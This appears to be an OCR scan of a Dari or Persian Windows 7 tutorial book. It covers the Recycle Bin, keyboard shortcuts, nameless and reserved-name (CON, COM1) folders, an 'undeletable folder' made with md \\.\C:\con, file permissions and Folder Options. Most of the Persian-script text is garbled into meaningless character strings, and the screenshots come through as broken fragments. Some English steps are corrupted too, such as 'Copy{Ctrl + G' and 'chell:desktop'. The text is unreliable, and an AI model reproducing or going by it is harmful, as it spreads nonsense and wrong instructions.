0)3 0)5¢ 9 (b (SAig> x> gilirgr 3 1 2 e 9wl gl (595 )18 s
5o 14 .56)S (S39> (2 0w 919S Gl 4y poiiy 5 5 Hlg 2 0 I
sliwg) 93ghlo Ly 5 guwliw 4y Sl 5 guwlins GlgS s (S59)8

o S Gy diglolay by oleS 03>

OS5 "isisolye ol pgd iyl 3" a8-2 Cagiyl 5 3l Ly SalS Gl
s pgigny 5" glSlg g "o 1" J-wﬁpéwﬁw*‘d—‘
) ,5)S "JsS oyl o pgidy " gl plS-3,66)S9 SUlS i ... g5)S
J9MR29:{62S 43 (2 S 4>l 4y gy 3 9l £6)S 0)9L 3)gu0ly b 0) S
Dole 3" 3. £yS i W 2wl o)l 3wl 3 > sule€y S gl b
3L 8-4ii5)Se SUlS " Ly gl (6)S Sz oSy "E6)S 295 9909
6)59 diiligl 99*4-' )'}‘-'9 SLER swb uifw 1y (£5)S9 SulS

Adobe g dobe § e T
XML D l""h“ """“"d“""m o sl i U_’An‘_hl»:r‘om:nﬂd paramcters =
3| Bockup [ Tire | Compert | General| Advonced |Fies | Backp | Tme | Comment
mmmmmmm 5 -
Savatias Archiving with password [
Save e sreams
Erter passwod
Vol Compresaen.. | sennse
Pausge sher sach vobine 2 - i
My SEXoptions... Feerier posswon coliol
S [ ||| || ] ™™ -
Satpa
; ...
Sytem B
[Pl Background avcliving
1 Tum PC off when done
7] Watt f otrer WA copies are aciive . [[ ok || [cancel | Heb
[ cancel || mem |
= [ Canes Hep

pppppppp

guu s oS

625 Ba> G S oyl + Gan-l

S$9 U Jleoyc oy JSoluy) -2

S 0 > Cu9)b (g JSaun) 5 Jole-3
025 S Ay Sr>d Lir 474

1-Shift + Delete shortcut
e 2-The Recycle Bin is disabled
= [=3-The fileexceedsRecycleBin’scapacity

4-Stored on an external storage device
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Recycle Bin icon.

95 925 Glyo digyagd by ol dighils ygo aS 0)S (Sxel) yige 4S5 9090 |
03 il LS 23 LS OSul JigaseS slo 4 5 a0 95> L5 45 S5 délaen
U J99 890 O Se¥ (S9ud 93> 2 Srz 59 S asd o Sl

6S399)\5 13 . 83> 0)Ld J5 3 (595 2 (5 dipy (545 Aoy WS J9M9

Bobls (9 83> S gigaiunns Lo jorizg 4 2 (595)9 H)Lis G

63 Jigo JSalu) 538 dwdyi diyy
Part 1: 4 Ways to Find Recycle Bin Windows 7

Way 1: Find Recycle Bin in Windows 7 using File Explorer
Way 2: Find Recycle Bin in Windows 7 from Run Dialog Box
Way 3: Find Recycle Bin by Adding the icon to the Desktop
Way 4: Add Recycle Bin to the Start Menu

\Sunshare

== Type the name of a program, folder, document, or Internet
resource, and Windows will open it for you.

‘ r Open: chell:desktop v

ReCyCIEBin

2 | 0K ][ Cancel H Browse... }

. Programs

' See more results

[¥] Allaw themes to change desiiop icons

[ox J[ Conco J[ 2wy ]

@ ¢l Create Shoreut
‘What would you like to name the shortcut?

Type a name for this shortout:
Recycle Bin|
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553 3 51sS > 9 JSobusy 7 joaizs 322 oy
6§wa@m)sﬂ)9w9mmuwg&l§wb¢l 0)21
u.)d.i)l.uw)Jé?)g@gd)b};ﬂg.‘g)l.sq}u'u.dsm‘)) 0)2';2

xS S

O JSoluny 5 S 7 jodizg 4 0w 819)S 4y () pygleusSl Jald o 10)3-3

525 Sl g8

Part 2: 3 Ways to Empty Recycle Bin Windows 7

Way 1. Empty Recycle Bin in Windows 7 from Desktop

Way 2: Empty Recycle Bin in Windows 7 using Disk Cleanup
Way 3: Empty Recycle Bin folder in Wlndows 7 usmg File

Explorer Ribbon

Network

Typ th namef apr gamf\d r, document, or Internet
d Windows will open fy

cleanmgr : !

oK [ Gancel [ Biowse:s

3 68 O JSoluanyy 7 3odizg > oy dayy3

23 3 9loS dwdyi dirn 9ighls (o o3>

= 9 6 LI o JSolun) 5 €S 10y3-1
SRR e ety B G s s
a a 0 1 5lonl 43 £ GloS 9anl g9 45 55
o 209 95 sl 2 Gaoligl) o dighld dga
99 Lozl S (W a0
gm9@MS6xﬂomb9mbmﬂddag

S D — US~J9)J n_,u.szgg.o USUlJ-M-UQCU u“’.zﬂ
. : .“ =) e OF JSa) 0y 9-'9S SuS dl5 693 GHeSul
|l DET GslliddaJsiasulieS oot
e o S5 B3> 4o (53 5 9uli 2 57959
e 1 v )9 9l 2 £959 0)ld Jol6 428 3050
b {6259 SlS i3 il 5 ol E5)) L)l
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0 B o JSolan) 5 45 10)3-2
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0y 9J9S D92 HigaeS Sodbg > 9
['F8" 5> Ulaoy oJoS was 3 ol &3S U
lorw ol dileS 3" .i5)S)9 Lo LIS

Lid 53l oyl glsgus gighls 5 gl
Jolo 5] R el ) (633 .55)5)9

o )L il o diwgyg wileS x3.65359 Hlind il ol "[ (sl Jolé 5] [agd
Part 3: 3 Ways to Recover Deleted Files in Recycle Bin

Windows 7

Way 1: If Recycle Bin is not emptied,Open the Recycle Bin
by double-clicking the icon located on the desktop.Youwill
notice all the files you have deleted so far.Look for the file
that you need and click on the"Restore"button,Confirmthe
actions and get thefilefromtheRecycleBinfolderinWindows

&= | .p=—, - == Way2:If Recycle Bin is emptied

~ | .Z. | ... Stepl:start Downloading and

== - nstalling Recoverit,Step 2: Choose

Wy j ] .

Recovery Disk,Step 3: Let the Bin
Scanned,Step 4: Preview and Recover
mﬁa = Select a location to start recovery

.l.t:n ” ] | (e
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Way 3: Using Commands if Recycle Bin is emptied
Start with booting up your Windows computer and press
the "F8" key while it is booting. Choose "Safe Mode with
Command Prompt".On the command prompt window now,
type "cd $Recycle.Bin" (don't use quotes). Press the Enter
key,Now, type "cd" followed by pressing the Tab key. The
directory name will appear after this. Hit Enter,Next, type
"dir/a" and press enter to display the files. Followed by
this, "copy [file name] [file location]" and press Enter.Now,
type "cd../.." > "dir" > "ren [file name].Note: Don't forget to

press enter after each command . .
g | - Extra information.

Mycomputer folder.
LigSyid a2y 4. loglas
NowaS Olid 4 9> dogunyd

13 oS 48 4y S

@695)5®@J95¢3)9J4»9MCU9>(595)5¢W9>
595 IS @ yigaraS OliSuw

«1»What is the shortcut to create a folder in

Windows 77

925292 (93 S Ol 1) g9 (2 g (39S 4SS

Press the File Explorer keystroke{CTRL+SHIFT+N} to create
a new folder

02 21953 b a0 {00 O ol Ui b ol B2 JoruiSTy S 9)9uaS

)92 )99 gwliw 9 Edg9 S
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{2}How to create folder and file without name?
NS OliSuud 4y Silga 15 93886)S 192> aSi> ol ol H g8 diyy pgi
S igapeS Dlid 4 & 5eS HS @ S
Type in{Alt+0160} (the Alt-code shortcut for a no-break.
space) and hit enter. You should now have a folder with no
name.

5353 93 (5259 J> 92 SulS Galy sl a8 b ) algd 4 9l (2 IS yo
L oolioy @ 4 Lo 93 £6)S9 SulS (533b (il ololn b ez poi b ealin) 4
(o 10 ol iy oy ol i 93 9l B J2u0 gl i Gl S (S5 o

G 29> dogd Y 4 hlo b ) g9 guwliw o) 5099 1

L b > ddnb daygs
o 29 (59192 925 S 55 ) 2s9
- The Alt + 255 alt code is a hidden Jv

character that makes your desktop
icons appear to not have a name.

DDDDDD

fingerFly Details

eudb_en
Press > menu
> Rename

{3}How to create a new folder without icon.
£52S 29> )Mgd iy JSu b H)eSl 5 aSiz
09 juizhign b digiuSdo ol £6)S9 SulS s S )98 4 1a 1S Jo
J2 i3 08SAT 3 9l 6259 S (533 julogiunS b 9393 3 1alS @193.86)S
b OISl > i GoM> @) dnivas | gaing b Sy (S5 02 1Al @1)3.66)S

)AJ99 S$9 U S alod 4y 9l (63 Jg2 (5393 4y S5 ¢5)S 0)9¢ KOl i
Step 1: Right-click the folder and select Properties

Step 2: Click the Customize tab and changei con button
Step 3: A new box willopen,selecttheblankicon,thelocation
is on the following =%
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How to create folder and file without name laptop.
292 B b Halgd dogi dJ yuf (2 S NigweS Dlid ) 2 9 (39S 4SS
Ol 2 U Jol (299 U i 093 O dids 9> (b ales )18 Joi )9ie9)S
|39>0599up)p|mm939|036x2u.puduw(_;lgld;bd]up
$353 aS) 29 2 S S JoS ez poi b el 4 4 i 0)lg
Js.

=

Create folder without any name

How to create a folder with name?
L ))9d dil) 9igegs (5353 @) (2 0xSg diiuivgy So> dxd guwli aS Ll
a5 @i 4 gl ($p19% U 93> (595 LindisS guwli 95 0)S y9> Jald
03 45y Jod (55 Jalé gunli Lz G5y zeaso @5 ganly
CON, PRN, NUL, ETC, LPT1, LPT2, LPT3, LPT4, LPT5, LPTS6,
LPT7, LPT8, LPT9, COM1, COM2, COM3, COMS5, COMS,
COM7, COMS8, COM9
deSDkSJ(Syulg}ngbLQW'g}d]M;SQIUSHMdeS}
&3 U 50l uopad dglig)S 19> 2 94 oS a5 9)3 95 951192
o Gloy9> @ ()3 A CS Ol 2)9uS 135y d Sil)pad daygy
@ L5350 SSalS Gl (35b ol 558 @) a3 2 alS y.0,3-1
gl 2 455 diyg 4 @ L.e5)Sg SulS (3L s> glod poi b @l
i g9 Gl Lo (52559 poi 0 sl S$2S 29> SHL g ) (S9 Aidg>
o9y i gwgd Gl S dgl ay by g9 i »il 4 Ly E5099 Lwesy
4 poi 42 (5)S 29> (Salol 9l (5L pgd yo AxS di)gy d 4y Ly E5299
—r S2S 0w b Hog9 G il 4 Lo ol (52550

L
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How to create a folder with name?
1-Alt+0160 then type,con,coml...Com9,lptl..9
2-type,con,coml...Com9,lptl..9,then Alt+O160 type enter
3-Alt+255then type,con,coml...Com9,lptl..9
4-type,con,coml...Com9,lptl..9 then Alt+255 press enter

:Ik «a»How to create multi folder with one.
name.

A +(2]5)(5]  S9)S 10> dighilo L dig)algd o5 0w poi o 4y ASiS

(25 292> Uohlo b 539y M99 9> gi 92 4y 95> (595 LiugS gl > dlS s

90 (919> (2 J99 S3B ye(Sp19> U o>
4-‘Luydzsgt-iJwaLs-Ub&bb)MgQ@waﬁ)b pa9-1

(5259 Sals 3L B oS mivz poi b @alin)
Uglalo b dig) Mg 9> pgi g1 dy (Sala 9wl 2 ($25)9 p9s 42D )0 pI9-2
opw Jlo b ) M99 @193 9l 95 219> 90 9> hlo b ) g9 ol 65> (525 19>
ohwgy 100 CATF 453 3)9uS d dy Lo ol ($35)9 4 pod dclod (595 IS de
o b 6299 O )8l 4 Ly ol £,299 Ywediy duin 0glwgs by {diugd
{1} create a folder with name{Sadidi} Enter S
{2}then create a new folder with name{Sadidi}and then
press{alt+0160} Enter
{1}create a folder with name{Sadidi} Enter
{2}then create a new folder with name{Sadidi}and then
press{alt+255} Enter

Sadidi+alt+0160
Sadidi+alt+255

Sadidi Sadidi

0)S 03) JauSi> Sb & Jawoesduwd o)l (55)leos 0y 2igj 13

e { S0 poyllelus) o
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How to create undeleteble folder in any drive.
450 2 935 197 )58 ol S b b o) 4 7 o (oS A
aSJ 9)5)9> (2 A3 9)F galie > 9 ($B9S yget L A S)e by
4 (52 pl Gw-plS Jol-od loag> 43 93 o5 uwls ol STl b (59 ol w
CMD open Jois> 53
G S odnl 0o b S siee W)liw 4 G2 b $3eS gwls
G Fox DliSun) 4 swliw 4 Joo Sivosil 9 LS (59 pl Lw)auwls
gl 4> Jol 33 & glisy) oop 093 2 b o)l
g9 43 g5 (suilhy Hagd delan go A 9o @S 4S gl Spi92)a)gd
Soxihd 4 a5 55 )i d gl 6)@9mb6m¢l
Open run then type cmd than type c, d €: enter than type
for creating o
{1}press md \\.\{C_D_E_F}:\con enter
for deleting =
{2}press Rd \\.\{C.D.E_F}:\con enter ‘= |
Note:md(made directory) ke
Rd(Remove directory)
{C.D.E.F}my computer drive name

{Con} folder name you can change

Programs (1)

BN cmd

#

ore results

e
Organize 7]
Fav
M De
B D
4 RecentPlaces den
- Players For Al
v 2 - 3 Libraries ) Computer BestTechniques
. ¥} L‘ i m % Documents ) o 20
o) Music
=l Pictures
H v
B Computes
e
cal Disk (E:)

f-EQiQ/;-\
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How to Make Files Undeletable in Windows
Fix 1. Deny security permission
Right-click the file > choose "Properties". In Security, tab
"Edit" to change permission > select "Add"
Fix 2. Create backups
Use the best automatic backup software - {EaseUS Todo
Backup}to create file backup in Windows
Fix 3. Use file undelete software
Use{EaseUS file undelete}software to recover lost files

after ou format or remove files from xour PC

Sty t _' B—
:..!.idmlmstratm (DESKTOP-QCSOT1AS \Administrators) : - - -3
&s! Users (DESKTOP-QCS01AS\Users)
P, e

Pemmissions for Autherticated = . - 2
e gl & ) y
e ( )nght click folder( )Select "properties"
Read \ PI

AT PUALS (3)Select the "security" tab(4)Click the '

1 o | _
Advanced" button(b)Select the "owner" tab(6)Click the

"Edit" button(7)Under 'change owner to' highlight the user
you wish to set as owner(8)Check the 'replace owner on
subcontainers and objects' box(9)click the 'apply' button
(this will take you back to the 'advanced security settings'

Wi n d OW) B Undeleteable Folder Properties ermissions for Un eable Folder E: J |J
General  Shanng Previous Versions  Customize Securty (W L)JJ)
:
— - Object name:  D:\Program Flks\Undeletiable Folder Objectname:  0\Program Fles\Undeleteable Folder l
J \ "
i P 9l 99 g Yoo
B4 SYSTEM A2 Admrssirators (DESKTOP-QCS0TAS Administrators) dJ-'- 5 e
ER Adminstrators (DESKTOP-QCS01A5\Administrators) 5B Users (DESKTOP-QCS01AS Users) ) 9 A “I '
B2 Users (DESKTOP-QCSO1A5  Users) . - . . e
:
To change pemissions. click Ed L - - dm
erbmimhdeekae]l il e [ ek for Autherticated - =
missi i
Users Alow Deny L Users Blow m Fr
#ull cochiod Fudl contrel (] 1B
Modify Moy =]
Flead & execute Read & executs =
List folder cortents List folder contents ]
Read Read M
White v
: TPUAL!
¢ For special pemmissions or advanced seftings Advanced
click Advanced. m T E
Send tr 2
Cut
. by 1> b
e 6)9).059 69].&),\53)&0).))9) LJ..4.> D L)J ) )
Delete
IR
=1 - SHN O 0)9) d (5 > Sl
!
90z
e —
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d.]u>|.))b9|uuuvb,)d.)[9b).}]gsus).gg;msmygml_g)!gsdip

}SJ)O)le'.) 1

c;;)'l-?| S oS ol ) 18658 0)9¢ il <8289 SUlS uab S 8 4
poleo (8810163-159.(5)S 6)5¢ "dBLl" <t5)S i "ea0)i" 0yl ool
xS 29> Pl Sw 2

Sl Sw Suilegil 0)9€ 0)l] oloS disuisel) Ll S hld 5 S Heaing U

59) 59 »gi0lw

S 80 0)13 ) Ol pgaaiEs9) 59 noidlw gleS O3> &5 (Hlo 5.3
How to create multiple folder

915192 ()N (S1) g 9 Ay > o ($FgS U5
1. How to create multiple folders at once using CMD
To create multiple folders at once, first open Command
Prompt. A quick way to do it is by using the search field on
your taskbar and entering cmd in it,Use the cd command
to get to the folder in which you want to create your new
folders. For example, we’re going to make our folders
inside the C:\Students folder, so we have to type cd
C:\Students.

mmmmmmmmmm

Search the web

mmmmmmm

S c;)ulﬂ Gapolyy d5laS 5 (500l 0yl 9lg)9> 939)H99 95 5 S S0 @
ol JoslS ol 09 3 S )b Suoli y guolio 0y 1533)S 0)LJ 9JoS (5
tsalas 9uli 2 (Sxaz 5959 35LeSas Jalols (60 pl w3 S (6o 4
Mg 3 gy Ju> y ygo «aSgi 4y Jlio 5 .£5)S 29> ig)Mg9 (so5 Ju>
cd C:\Students.gyS coli 3 2l ygo 65 19)S diss S
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How to create multiple Folder example

Jle Jois> $)Me9 (510 g 9o 4y aSUS
Windows starting button search CMD
BSdg (59 pl ow S Vel b Zaw S giwe )l joxing 4
1-CD desktop or My computer icon on the folder name
press Enter button.
g)M99 S GSw b LSy ) S g Sy 48 S (62 pl w
PliSin @ 45,4593 o 4459 292 S OS2l NigasaS Slo 4 b (Sou9>
292 S OS2l JigreS (slo 4y &S 9l (5)5)9 @ pgd LS 93 (59 29> S
G299 Ol )l ) diwg)g 9l ($25)9 W pod KVl HigeS Sl o3 (S9
2-MD(folder's name Enter) Sadidi Afghan Laghman Kabul.
Enter button press.
digig)Med 15 Ly dy diwg)g ol LS9 159 pltle diwgyg i »il 4 gl
93 E5299 Ui )l dinng)yg 4 L ol (59 gD 9l 2 0095 (Sulg digogs
1 o 29> A Big)dg9 guoli

CMD

Sonme

T EMB 9 )

How to create multiple Folder Delated.
025 Cbyd iy Mg S sg oy 4y ASiS
{1}RD(folder's name Enter) Sadidi Afghan Laghman Kabul
o P95 Sulg Uigogi 93g)Mgo dse i ol S (59 )l)§)|9g @ dis
E999 i )l A diwg)g 9l (5)S Gbid (salg gl
{2}Enter button press.
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dnb dly Jor9> $)N98 (S19 SS9 R

093 b w0 4 95 53S9 SIS (533L giwo )l Joig 4 2 AS-Usl
oIS 15 )85 Luwls b GaiogSTy GuSd b plxSex 259 b dy gi S (i
Salg 0 Sy (5353 S (15 oIS s @y Ly gligsyS ol @y gigol )So
S5 Cd b e @ Lo gl (59 idg> ) gl 4y digogi 9ig)alg9 9>
LuJLJSk)SJI)JgaaASLSLodJleSQSML,JGO)JLJl@S.MQdeSM

b 525 LN gy 463 Ly diwg)yg i ) )y pgS suwli L2 IS 18 gl(so
Zoxd S 13 i 92> @ il gy guwliw @ Joo Siaegil o3 (525 (99
S¥3 chJcbuS‘_gb,_,,S.demgl 5959 9wl Hlpguad (5353 ol

@echo off %,&ggk_s)y.--wul&“ |

MD folderl "folder2 "folder3\"sub folder "

. 4
=3 5

e
.......

This is application create multiple Folder's
925192 ()M 2 b (5395 Y90 @& (5L PigininShl g0 4

1-Text 2 Folders 2-XMD (eXtended Make Directory) 3-47

Folders 4-New Folder Wizard ey

e Fobder rapesties et (st (mia)

Current folder: C:\Users\Raymondce \DesktopIRaymondec,
Preview [19]: 2021.02,01_12.90.08
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My computer icon Organize.

o G yoo 15 L2 69 1 LB Lol (555 03 dolw 490 eulaid yiguueS
sdoly 09l 52 b ol 925 iy ol @adais dighlo ol (5) 290 A5 2

1-Cut{"Ctrl + X"}.
ol (595 (Sadd 5S> b9 Glol iz 2 il (sa JSU LS S 0
cSSwJJSLIUSwa 92193 4 1(S919> J& g2 laS (RS 5 2 S Jb
(2983 otdS) (5345 Jilw S 0,453 dlgod 4y Lily

2-Copy{Ctrl + G
L)l 4 gloS Coli Lo (i d5)g yg0 2 S 4D (534S Jo)lS BileS (28 5
gl « opuw 8Jg) S g HLuinl IS 5 (5908 LB gl g s Lz 4S5 o))
o)) S 99alS 4 .£6)S B G S5 axE s gy d G £ oS
S b Ologlen (595 52 (5345 b S8y i 4o x5 iloglao (sous
IS aS)laed Do b ) sd L2 oud (535S @ gl (S0 U (Seud S b (Souis
(:gblzgmwds&‘:ggSggLfgwapuLogJ&ofangmd ol>lg dx3 g
69@43&65&%9169@-_;5

3-Paste{Ctrl + V}.
0)>l 45 gl 2 (59 Jas 93goliSoy 3 ol pinusw ildes g2 Gy
S ¢se2lo 2 G s> Sy ol 65)S S dxs (515 a3 dl o by (b 93 (5650
5 525 il il ol L5 5 2)0ualS 1y i S b s 45 00 2
dy 5 d2d 5 S 3)eudS ) .5 (Soub S b (Seids (53 45 ) oz a2
b dls o3 Lub d)9 i oS KisasaS (59 (584D A b S 2 03w ol
4-Undo{Ctrl+Z} S5 Gy dls g3
L blo gy aSgi y JUio 3 .55 0puw)3 0yl 9Jo5)S1) dGpy 3 4GS b Joc o
BlaS (53 4 93 Gloly SS9 09l (593 b abd a9 b guai by algs
L§A9l) PN | BN UJIg:U ) UJLS.)JlJ

pppppppp

CCCCC

‘ 'kk WINTVM ‘:p:_p.r.p”” Mermory: 4,00 GB | Page 179
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5-Redo{Ctrl+Y}.

19 Gu>)Sl) By 2 Hwbigh) By Helw a2a (5950 0j 1 & gl g )
ditiol) > ilgsy WS 9 QoS dliwl) Ay el Giwl sy
JsS lwly (el gl S 9y 4 glesS

6-Select all{Ctrl+A}.
Jleo uwel 2 Oled Hgi b dig)dgd b dighils «(yio Joi ¢:Slis Jsi
e 3L B G 4 aSil) 20 gl 595 0)9¢ (Sob JIgub b (o ]
00)S pwso A (5o Bio b 5o 8 b (5o )2e8 dS dso Jol iy (534S
L (59,M99 b (59 Lo dS age . iwg)g W Lo gl {5899 (i G ) 0)uw
30l 2 095 93 i )31 )T ) (i G 95 6259 SulS (533b (59 Yo
dmoampwl.wwg)gdmwulxulmds:_caggggdgubwl
92 9 2 Salos &S ddyb ab gl (595 Gy b gl (595 A L (59 by S
B U )aes Luives Ll suwlion 65 (5)S Sluw by (5)S Olsasl il
gli G313 95 10 dS 428 g 0)uw)9 A Ui Jo)iiS 9> {5259 SulS (sl
0d dwg> g.quJ Awg)9 Lu gl S9 L_JLDUJI

/-Layout.

{|)195"JM}J959|6)1M9ﬂu519>u»®u>034>ﬂmw3
O 9395 3 568 o LSl S 3 gl Se3 ealiS 3 cdig)algd
05))9lw51 Q9o 2 ($551) lused 930lald 5lai 5 5 yg0 dxduo |y
)95 Ll ol dig @03 ol 9lgye> 3« o)1l Joi Jalo 5 asd (5)S 0)5¢

S Clco contiol e |

)l b 4 (5)S 19> L_g.mb).) Mg ui:gbl)@é.&muw 15 0)Sg Aig
(S35 0)) (53 diuwg)g i gliwwg) OT
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7-2 (?)JMenu bar{Layout}.
suwliw 55 93 (S9plg 3 dode S)lo Sui 9wl (S3L il (5 4 2 AUS
)b giwo guoliw g3 0)S (5)) (523 9o dode dS gl (595 0)Sub b ) gino
laod S Gl joaidg 4 9> @lgg 4B S Hguw jedizg ) 9> b 0)Suid
95 )18 Hli
7-2 (?)Details pane{Layout}.

3 S L4 LSS 3 Gl bl (b b v b () ilbsgs
(5253 Wloglao o) 4y )3Jsd 3 4 5 gwli 2 (595 0)Sub Jiw gilogles
03095 S 929 )1 4y guwliw gl (5] Gighld 0)0g5 )a)g o2 S asd

) s
7-3(?)Preview pane{Layout}.

.JU>L5§d£Aud)¢;p¢bt;gJi§dJngme)Lash}utgﬂﬁuaJ
G gwli > dS iy S Calgl 4 uig 4 diiSie S8 (seud JSU
ﬁo)&»@wbmé@@y@%&sdwb&bL‘uuﬁﬁ

7-4{?}Navigation pane.
Jo)lS Jo9 0)S0 4y 2 b Cand 93005 9l 9) 299 5 G GuisSages
(5% 9,299 ol 9391015 3 S YioesaS @) gulies b IS 2 PSS (54
S2S (NS (ubisSyg gunlinw

7-5(?) Library pane.

-4 )l Jlo s gighle 5 S (HeliS 69y 4y guwliw iajly Hewlis o
dig)s50l «Spjauo «93Luwl) Joan ol JsS 0)Suis (g HealiS 5 i doww
ol a Wlogleo 0yl 4y 9Silidvine 5 HeliS 5 & guwli 15 (S ea 9 ol
($90 JIg40 ghlo Sy 2 E6)S U iy 498 (5959 Ld)o U gl

»
Hew foider
i [ —— |
ﬁnn* Trpe. Ten
[ tocae ik D o
= LsalDik
: S0k i€) = EightForums.con
e D by .
Mo
b it bl ncage i = p?, e
o e (E) Downicad:
|||||||| 6 wwr.gocomputertraining.com " ek =i : Videas
ot [ Menw bar i
older and seerch apti Detads pane 7,'1 # 4 Libraries " ”
,,,,,,,,,, | 8 Docurnents Navigation Pane
¥ Nav £ = o M
e - 5l Pitures
: ey 7-3 | 7-2 o 7-4
Properties.
LLLLL o Homegroup
Gl I
& Locat ® Computer
- W\ ,,,,,,,
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8-folder and search options.
o)l olodso HuiniB g ol diy (5ol 935lhld 5 Sollyy gigyluisl ) gs 5
)N99 3 15) (Seud Jagad S ()l Ll 5 Jlgo gl oz (5peS Jo)S
939) iz 5y sleansSl a6 5) dig)luisl 299 3.(5p65 Ji3g pod ) syl
jodig 3 .5 Wl ) ag9 gl dighld Calize (545 J3juy @ pod U
09 ol ad (ogac 1(6)) (i digdd (593 S LSAS Pyl HHgd

(5Jd.ol¢uuhup)w(_,5wun9.o.cd3 g
1-OPTION ONE Open Folder Options.

1. Open the Control Panel (icons view).
2. Click on the Folder Options icon.
Odgl ))gd Jsods (5)3 ol
1- (OSol b s s 0) £6)S o5 Jiwy JopisS
2-£5259 SulS (535b (1550l igyluisl Halg8
2-OPTION TWO Open Folder Options.
1. Open a Windows Explorer window.
2. Click on the Organize button. (See screenshot below).
3. Click on Folder and Search Options.
(gl gD Jpuod> (553 et
1-¢s3u3ln BSaS orokesSl o aing 5
2-(£5)859 ol (a)Sun (5333) .£5)Sg SulS i eudais
365259 SIS 9ig) Lzl (e ol Mg
3-OPTION THREE Open Folder OptionsOptions.
1. Open a Windows Explorer window.

@ ' - ‘F_’, » Computer » Window

.........

Desktop

PEECee N 2HI0aET

Properties
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3-OPTION THREE Open Folder OptionsOptions
1. Open a Windows Explorer window.
2. Click on the Tools (ALT and ALT+T) Menu bar item. (See
screenshot below) 3. Click on Folder Options.
Ol ) Me9 Jouods (552 e)0
1-¢55u30 1525 2ysksanS] joaing

2-53b S5 )b gixe (299 O LT 9l Gl gl T a5 3)0uS ) glawwg
(£5)959 ol (xS (5353)¢65)Sg SulS

3-£5259 SulS (523l gig)lizl Halgo o

£ » Computer » Windows7(C) »

File Edit View

Organize « Map Network Drive...

T oo folder and search options
— 8-1 General

8-1- 1{’?} Open each folder in same window.

92 )99 )0 95 (S99 2 90 dode S)lo Sid ga0li (533L gl (G3 y aS
625 o> S 030 b gdig b S)S
8-1-2{?} Open each folder in its own window.

‘14‘13)&99)995«59)19»w“ﬂsd)bddwUdﬁboﬁM CEEEY

' e n (5)5 e uS 929 ‘US.}S 9> o> b Jodu
General  \tew | Search C:\WINDO drivers)
Browse fol ﬂ 4 bi = | Progeam Files
se folders
—— @ pen cach o e s wnod 811 . 3| Dsem i e [ [EB—
EE] () Open sach folder in its own window BJT -7 repr————re ‘f“ Home
Hame s Trpe Pintod
Click tems as follows B Jhosts acce) “f,
8 vhosis.sam 5 o o Chieh
Single-click to open an item (point to select) > .;_:: B = —
& Underine las orily whien | oot at the Al =)eerices B Fle
@) Double-chck to open an dem {single-click to select) -
Navigation pane 8 == 1 = 1 “ oy a
[+ Snow fayontes —I F g ®
[] Show 2l folders b o
- .
Atomatically expand to cument folder s cject 3 a Peiflogs
lestore Defaut Pragram Files
a
0K ancel tes
I 2 N
T

8-1-3{?}Single check to open an item(point to select).
L dilwg)g gl 69)]9))940 dode LS)LO!._';...Q 9.uJL) GAJb U‘“‘“' 6JdeS
Jduyy6§9ddsdxbn59|mmLJLugng)SQLSLlS6xbLgiJ|
yalgd y s wwmuwuob%)sgmwu PWENES
(O)l.u)' O)LJ 9.‘95 ubuﬂ .) ng (-\')S)g.) l.J L59
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8-1-4{?} Double click to open an items(single click to.
select).

3L il 4 Lo (590)9 1 90 dode S)lo Suj gl ($35L Guinl (g3 4y aS
0)l oauod5 15 pl)S9) 03 3 83 5)Se SulS (53l Sal 4y L ol xS SIS

(SIS 9 0y 6JoS Lolsniil 3) (i s o5 63 5559 SulS i 0
8-1-5{?}(?) Show All folder-(?) Automatically expand to.

current folder
9.;..JL;.de|.)95(59)J9)J9.od.o>l.sn_§)Lou_§.L§9mULg.UbLyiu|9)).Q>deS

0)5uis (5)N99 Joi 4 gl (535L a>lw CtiSyeas 1 o PS4
8-1-6 Restore default A

tS.JSLg.)JbLshbld.JL;ng(_ggSgc_i.dSks.ubwlkg.)deprdE)ﬁ:
Q 2 Vgigln poS 13 guwliw o3 £5)Sg Ss TS Ouinl Sal 4y 93 ¢5)Se
69.3‘9 G > Glgsy 4w (53 Giwgly S guiwgl)

8-1-5 -

I}" @ Single-click to open an item {poirt to select)
Sl Underine icon titles consistent with my browser
@ Underiine icon titles only when | point at them
8-1-47 Double-click to open an tem (single-click to select)

aaaaaaaaaaaa

[ riemtiate folder and search options
—_ 8-2 View {Folder view} 8-2-1{Apply to
ok ] [ omos folder}
L LJS.U.: F.C8) ng)ngg guwli 2 dlS > (5paS oolaiwl o)l (53 030
Salog 90l 2 s b 0jll Jgo nS 42 gl (5)S 0)5¢ JSub 1 5izeS
ol {5259 SIS (535b Gl 398 63 (3l ) Ly o3 (5)S Dol 45 gig) M99
9-’6,}59'5-‘-156-Ub Ol Sol 4y Lo ol 6559 SuS (523b (3l 4y Ly
)99 4y 45 420 420 (59 (3L juww b 0511 92 4y 41 ()99 o guliw
S9 M99 S

Page 184

2002




(c) ketabton.com: The Digital Library

8-2-2 Reset folder.
Sl (523b (3l g Ly ol £6259 SUlS ($35L Gl (53 4 gl > S s
031331 &5 9)3J98 pgS 13 gunlien i £5)S9 SIS (5 33L il Sol 4y 95 ¢5)S
ts9alg 05133l g)ddgd s &5 s ilgz o Gy o3 ($59 52509

e . - b Tt
- ey i.' Prp— 4
| T [\ | & Gnateee
o . —_— "
o - e o e e = - ' -
d Fhemlirgiony o ol -
[ ey o
< oo om0 P o
g Setutay ot
o

8-2-1 o= 821

8—2—3(?)Alwvays show icon.never thumbnails
420 guwliww 83 (S99 dede S)lo S (533b Gl (63 4 guoli oz dlS yo
G 900 93 95 (59 S L 4 b (59 S HMed @ Olrgad b Dlogleo pgS
(SHS O)l8ub ) HSal s Sy (6345 0)Sub & i ($p4S 9l @)

8-2-4(?) Always show menu.
6xbum|6Jmeu>dlS)m
o2 ) ) 95 (S9xlg dode S)lo Sy
HBsizo S B d)ey Sean b
595 0)Su

w@m1

Folder views
You can apply this view (such as Details or Icons)to
=2 | all folders of this type.

Apply to Folders

! View ks Help
15t computer’s s(‘:tim}q\ menu ba_r ena—bleq Vs b

Add features to Windows
| 7 Technical Pre.

0 S - ‘ B
‘u{ BitLocker Drive Encryption -‘IQ Color Manageme: 2 Credential Ma:

% Administrative Tools B 1 AutoPlay
P i3 -

Advanced settings: 2. check this option

; Tk Date and Time iﬂ Default Pro:
Fﬁes and Folders J A = 8 2
i er thumbnails

Aways show icons, st Devices and Printers B oispiay

| L | Always show menus |
/| Display file icon on thumbnails 8_2_4 BR: ramily saf File Histo Flash Pla
[v] Display file size information in folder tips J“?" ey € - o
[ Display the full path in the tille bar

13|

8-2-5(7) Dlsplay file icon on thumbnails.
u>d.|59.:6)Sk5ﬂdai£n5)ln‘5_q6xbuuu|(53m9wbu>dl§)m

